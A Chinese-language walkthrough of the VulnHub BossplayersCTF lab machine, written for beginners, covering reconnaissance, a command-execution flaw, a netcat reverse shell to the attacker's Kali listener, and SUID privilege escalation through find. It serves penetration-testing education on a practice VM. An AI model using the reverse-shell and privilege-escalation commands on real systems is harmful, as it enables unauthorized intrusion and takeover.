看完这篇 教你玩转渗透测试靶机vulnhub——BossplayersCTF

news/2024/5/19 21:36:17 标签: vulnhub靶机, CTF

Vulnhub靶机BBossplayersCTF渗透测试详解

    • Vulnhub靶机介绍:
    • Vulnhub靶机下载:
    • Vulnhub靶机安装:
    • Vulnhub靶机漏洞详解:
        • ①:信息收集:
        • ②:命令执行漏洞:
        • ③:反弹shell:
        • ④:suid提权:
        • ⑤:获取flag:
    • Vulnhub靶机渗透总结:

Vulnhub靶机介绍:

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

这是新手CTF得靶机还是老样子找到flag.txt即可。

Vulnhub靶机下载:

官网地址:https://www.vulnhub.com/entry/bossplayersctf-1,375/

Vulnhub靶机安装:

下载好了把安装包解压 然后使用Oracle VM即可。
在这里插入图片描述
在这里插入图片描述

Vulnhub靶机漏洞详解:

①:信息收集:

kali里使用netdiscover发现主机
在这里插入图片描述
渗透机:kali IP :192.168.0.101 靶机IP :192.168.0.100

使用命令:nmap -sS -sV -A -n 192.168.0.100
在这里插入图片描述

发现开启了80端口和22端口,先访问一下80端口 dirb扫一下后台发现index.txt,robots.txt,server-status 依次进行访问。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
先访问一下robots.txt 发现了一串base64加密数值 放kali解密一下 它让我们在努力点兄弟,哈哈哈哈。
在这里插入图片描述
在这里插入图片描述
我们再看看logs.php 看源码会比较完整一点,发现并没有什么可用信息继续访问server-status 也没有可用信息。
在这里插入图片描述
在这里插入图片描述
在看看index.html 查看一下源码 在最下面发现一串base64 继续解码解了三次发现一个php文件:workinginprogress.php
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

②:命令执行漏洞:

访问这个文件好像可以命令执行 可以使用工具wfuzz检测 我这里直接手动了

http://192.168.0.100/workinginprogress.php?cmd=id

在这里插入图片描述
在这里插入图片描述

③:反弹shell:

先看看靶机里面有没有nc 可以利用漏洞使用命令:http://192.168.0.100/workinginprogress.php?cmd=ls /usr/bin|grep nc
在这里插入图片描述
接着开启本机kali 开启监听端口6666 执行:192.168.0.100/workinginprogress.php?cmd=nc 192.168.0.101 6666 -e/bin/bash

使用python开启交互:python -c "import pty;pty.spawn('/bin/bash')"
在这里插入图片描述

④:suid提权:

使用命令:find / -perm -u=s -type f 2>/dev/null 查找具有suid权限的文件,通过find提权,获得权限。
在这里插入图片描述
使用命令:find . -exec /bin/bash -p \;
在这里插入图片描述

⑤:获取flag:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
至此得到了congratulations祝贺自己,渗透测试结束。

Vulnhub靶机渗透总结:

这个靶场比较适合新手 比较基础容易上手 总结一下知识点:
①:netdiscover 工具得使用
②:nmap的基础使用 (具体可以学一下脚本的使用)
③:dirb (web目录扫描工具)
④:wfuzz 工具得使用
⑤:suid提权 (Linux提权大家可以学习一下)
第一次凌晨熬夜创作,希望对刚学网安的小白有所帮助 (最后一天假期肝一下,明天返校了)感谢支持!!
**


http://www.niftyadmin.cn/n/1643349.html

相关文章

团队管理经验学习总结

听了老徐的团队管理经验谈,突然就打开了自己的思路,发现了很多以前没有关注的问题,并且为后续学习团队管理也找到了方向。以前总觉得管理是个很宽泛的东西,找不到学习的切入点,管理学之类的书籍很多,但是想…

2022年春秋杯网络安全联赛春季赛 勇者山峰部分WriteUp

前言: 由于是刚入门CTF,第一次打比赛 记录一下过程 大佬绕过即可 后续会继续加油努力。 MISC: 签到题: 题目描述:题目描述:题目内容:因为疫情,有多久没听到上课铃声了。&#xf…

CentOS scp报错(-bash: scp: command not found),centos安装scp

之前写过几篇文章,介绍了多台服务器 之间传输文件命令scp,非常的方便,好用。 http://www.51testing.com/?uid-497177-action-viewspace-itemid-3705412 http://www.51testing.com/?uid-497177-action-viewspace-itemid-3711642 但是&#x…

【笔记-简要】项目经理修炼-所需能力

沟通能力资源调配能力:调配好所有的资源,确保项目能够顺利完成。知识的积累:专业能力应该是大量的项目时间而来。总结分析能力:需要做好记录,分析问题成因,找到解决方法。需求管理能力:有效的需…

解决:Oops internal error 40343 occured.Further work is not possible and IDA will close (打开文件出现40343错误)

问题:IDA pro打开文件出现40343错误 解决方法: 换一个安装目录或者重新软件修改文件名名称 不能是中文测试: 最后修改了文件夹名称为全英文就可以 打开了 希望对大家有所帮助谢谢大家观看。

CTF BugKu平台———(Web篇②)

源代码: unescape编码:https://tool.chinaz.com/Tools/Escape.aspx PS:p1‘%35%34%61%61%32’ p2 然后提交即可 67d709b2b54aa2aa648cf6e87a7114f1 文件包含: filephp://filter/readconvert.base64-encode/resourceindex.php…

KindEditor介绍

KindEditor是一套开源的在线HTML编辑器,主要用于让用户在网站上获得所见即所得编辑效果,开发人员可以用KindEditor把传统的多行文本输入框替换为可视化的富文本输入框。使用javascript编写,无缝与java,.net,php&#x…

Centos 下maven安装

1、官网找到最新版的安装包:http://maven.apache.org/download.cgi2. 下载安装包 。 也可以直接用老徐给大家准备好的安装包(公众号「简尚」回复“安装包”) 3、解压# tar xvf apache-maven-3.3.9-bin.tar.gz 移动到统一的部署目录 /APP/www…